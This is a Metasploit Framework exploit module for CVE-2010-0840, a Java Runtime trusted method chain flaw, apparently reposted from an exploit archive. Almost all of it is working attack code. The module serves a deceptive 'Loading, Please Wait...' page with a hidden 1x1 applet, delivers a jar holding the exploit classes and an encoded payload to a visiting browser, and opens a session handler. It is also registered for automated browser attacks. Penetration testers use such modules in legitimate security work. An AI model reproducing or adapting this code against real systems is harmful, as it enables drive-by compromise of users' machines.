Java Statement.invoke() Trusted Method Chain Exploit

Related Vulnerabilities: CVE-2010-0840  
Publish Date: 24 Aug 2010
                							

                ##
# $Id: java_trusted_chain.rb 10113 2010-08-23 18:49:35Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({ :javascript => false })

  def initialize( info = {} )

    super( update_info( info,
      'Name'          => 'Java Statement.invoke() Trusted Method Chain Exploit',
      'Description'   => %q{
      This module exploits a vulnerability in Java Runtime Environment
      that allows an untrusted method to run in a privileged context.  The
      vulnerability affects version 6 prior to update 19 and version 5
      prior to update 23.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [ 
        'Sami Koivu', # Discovery
        'Matthias Kaiser', # PoC
        'egypt' # metasploit module
      ],
      'Version'       => '$Revision: 10113 $',
      'References'    =>
      [
        [ 'CVE', '2010-0840' ],
        [ 'OSVDB', '63483' ],
        [ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html' ],
      ],
      'Platform'      => [ 'java' ],
      'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
      'Targets'       =>
        [
          [ 'Generic (Java Payload)',
            {
              'Arch' => ARCH_JAVA,
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Mar 31 2010'
      ))
  end


  def on_request_uri( cli, request )
    if not request.uri.match(/\.jar$/i)
      if not request.uri.match(/\/$/)
        send_redirect(cli, get_resource() + '/', '')
        return
      end

      print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )

      send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
      return
    end

    paths = [
      [ "vuln", "Exploit.class" ],
      [ "vuln", "Exploit$1.class" ],
      [ "vuln", "Link.class" ],
    ]

    jar  = payload.encoded_jar
    paths.each do |path|
      1.upto(path.length - 1) do |idx|
        full = path[0,idx].join("/") + "/"
        if !(jar.entries.map{|e|e.name}.include?(full))
          jar.add_file(full, '')
        end
      end
      fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-0840", path ), "rb")
      data = fd.read(fd.stat.size)
      jar.add_file(path.join("/"), data)
      fd.close
    end

    print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )
    send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )

    handler( cli )
  end

  def generate_html
    html  = "<html><head><title>Loading, Please Wait...</title></head>"
    html += "<body><center><p>Loading, Please Wait...</p></center>"
    html += "<applet archive=\"Exploit.jar\" code=\"vuln.Exploit.class\" width=\"1\" height=\"1\">"
    html += "</applet></body></html>"
    return html
  end

end
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